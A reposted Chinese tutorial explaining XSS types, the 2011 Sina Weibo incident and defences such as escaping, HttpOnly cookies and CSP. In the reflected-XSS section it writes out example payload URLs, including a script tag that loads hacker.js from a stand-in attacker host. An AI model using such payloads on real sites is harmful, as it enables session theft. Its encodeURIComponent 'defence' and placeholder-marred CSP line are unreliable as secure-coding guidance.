【網絡安全】給你講清楚什么是XSS攻擊


1. 什么是XSS攻擊

跨站腳本攻擊(Cross Site Scripting)本來的縮寫為CSS,為了與層疊樣式表(Cascading Style Sheets,CSS)的縮寫進行區分,將跨站腳本攻擊縮寫為XSS。因此XSS是跨站腳本的意思。

XSS跨站腳本攻擊(Cross Site Scripting),的本質是攻擊者在web頁面插入惡意的script代碼(這個代碼可以是JS腳本、CSS樣式或者其他意料之外的代碼),當用戶瀏覽該頁面之時,嵌入其中的script代碼會被執行,從而達到惡意攻擊用戶的目的。比如讀取cookie,session,tokens,或者網站其他敏感的網站信息,對用戶進行釣魚欺詐等。比較經典的事故有:

2011年6月28日,新浪微博被XSS攻擊,大量用戶自動轉發微博、私信。自動關注用戶,大量用戶被莫名其妙地控制。因為可以使用JS代碼代替用戶單擊按鈕發送請求,所以損壞非常大。

1.1 XSS攻擊的危害

  • 通過 document.cookie 盜取 cookie中的信息

  • 使用 js或 css破壞頁面正常的結構與樣式

  • 流量劫持(通過訪問某段具有 window.location.href 定位到其他頁面)

  • dos攻擊:利用合理的客戶端請求來占用過多的服務器資源,從而使合法用戶無法得到服務器響應。並且通過攜帶過程的 cookie信息可以使服務端返回400開頭的狀態碼,從而拒絕合理的請求服務。

  • 利用 iframe、frame、XMLHttpRequest或上述 Flash等方式,以(被攻擊)用戶的身份執行一些管理動作,或執行一些一般的如發微博、加好友、發私信等操作,並且攻擊者還可以利用 iframe,frame進一步的進行 CSRF 攻擊。

  • 控制企業數據,包括讀取、篡改、添加、刪除企業敏感數據的能力。

2. XSS攻擊的類型

2.1 反射型XSS攻擊

反射型XSS漏洞常見於通過URL傳遞參數的功能,如網站搜索,跳轉等。由於需要用戶主動打開惡意的URL才能生效,攻擊者往往會結合多種手段誘導用戶點擊。比如下面的URL:

http://x.x.x.x:8080/dosomething?message="<script src="http://www.hacktest.com:8002/xss/hacker.js"></script>"

或者

http://localhost/test.php?param=<script>alert(/xss/)</script>

POST的內容也可以觸發反射型XSS,只不過它的觸發條件比較苛刻(構建表單提交頁面,並引導用戶點擊),所以非常少見。

反射型XSS的攻擊步驟

1.攻擊者構造出特殊的URL,其中包含惡意代碼.
2.用戶打開有惡意代碼的URL時,網站服務器端將惡意代碼從URL取出,拼接在HTML返回給瀏覽器.
3.用戶瀏覽器接收到響應后解析執行,混在其中的惡意代碼也會被執行。
4.惡意代碼竊取用戶數據並發送到攻擊者的網站,或者冒充用戶行為,調用目標網站接口執行攻擊者指定的操作。

在網上找了一個大致示意圖,湊合着看。
img

注意:Chrome和Safari能夠檢測到url上的xss攻擊,將網頁攔截掉,但是其他瀏覽器不行,如IE和Firefox。

防御反射型XSS攻擊

  1. 對輸入檢查
    對請求參數進行檢查,一旦發現可疑的特殊字符就拒絕請求。需要注意的是用戶可以繞過瀏覽器的檢查,直接通過Postman等工具進行請求,所以這個檢查最好前后端都做。

  2. 對輸出進行轉義再顯示
    通過上面的介紹可以看出,反射型XSS攻擊要進行攻擊的話需要在前端頁面進行顯示。所以在輸出數據之前對潛在的威脅的字符進行編碼、轉義也是防御XSS攻擊十分有效的措施。比如下面的方式:

app.get('/welcome',function(req,res){
  //對查詢參數進行編碼,避免反射型 XSS攻擊
  res.send(`${encodeURIComponent(req.query.type)}`);
})

2.2 存儲型XSS攻擊

惡意腳本永久存儲在目標服務器上。當瀏覽器請求數據時,腳本從服務器傳回並執行,影響范圍比反射型和DOM型XSS更大。存儲型XSS攻擊的原因仍然是沒有做好數據過濾:前端提交數據至服務器端時,沒有做好過濾;服務端在按受到數據時,在存儲之前,沒有做過濾;前端從服務器端請求到數據,沒有過濾輸出。

比較常見的場景是,黑客寫下一篇包含有惡意JavaScript代碼的博客文章,文章發表后,所有訪問該博客的用戶,都會在他們的瀏覽器中執行這段惡意js代碼。

存儲型XSS的攻擊步驟

1.攻擊者將惡意代碼提交到目標網站的數據庫中。
2.用戶打開目標網站時,網站服務端將惡意代碼從數據庫中取出,拼接在HTML中返回給瀏覽器。
3.用戶瀏覽器接收到響應后解析執行,混在其中的惡意代碼也被執行。
4.惡意代碼竊取用戶數據並發送到攻擊者的網站,或冒充用戶行為,凋用目標網站接口執行攻擊者指定的操作.
這種攻擊常見於帶有用戶保存數據的網站功能,如論壇發帖,商品評論,用戶私信等。

預防存儲型XSS攻擊
預防存儲型XSS攻擊也是從輸入和輸出兩個方面來考慮。

  • 服務器接收到數據,在存儲到數據庫之前,進行轉義和過濾危險字符;
  • 前端接收到服務器傳遞過來的數據,在展示到頁面前,先進行轉義/過濾;

不論是反射型攻擊還是存儲型,攻擊者總需要找到兩個要點,即“輸入點”與"輸出點",也只有這兩者都滿足,XSS攻擊才會生效。“輸入點”用於向 web頁面注入所需的攻擊代碼,而“輸出點”就是攻擊代碼被執行的地方。

2.3 DOM型XSS

DOM型XSS攻擊,實際上就是前端javascript代碼不夠嚴謹,把不可信的內容插入到了頁面,在使用.innerHTML、.outerHTML、.appendChild、document.write()等API時要特別小心,不要把不可信的數據作為HTML插入到頁面上,盡量使用.innerText、.textContent、.setAttribut()等.

DOM型XSS攻擊步驟

1.攻擊者構造出特殊數據,其中包含惡意代碼。
2.用戶瀏覽器執行了惡意代碼
3.惡意竊取用戶數據並發送到攻擊者的網站,或冒充用戶行為,調用目標網站接口執行攻擊者指定的操作.

DOM型XSS攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬於前端javascript自身的安全漏洞.

2.4 簡單總結

3. 一些其他的防范策略

  • HTTP-only Cookie:禁止JavaScript讀取某些敏感Cookie,攻擊者完成XSS注入后也無法竊取此Cookie屬性:防止腳本冒充用戶提交危險操作

  • 在服務端使用HTTP的Content-Security-Policy頭部來指定策略,或者在前端設置meta標答。例如下面的配置只允許加載同域下的資源:

Content-Security-Policy:default-src 'self'`請輸入代碼`

<meta http-equiv="Content-Security-Policy" content="form-action 'self';">
  • 當然也可以使用線程的安全掃描工具來檢測。

就目前而言,應對XSS攻擊的主要手段還是編碼與過濾兩種,編碼用於將特殊的符號 "<、>、&、'、""進行html轉義,而過濾則是阻止特定的標記、屬性、事件。如果你不願意為了嚴格的安全而限制產品本身的靈活,那么我更建議采用“編碼”的方案。

參考


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM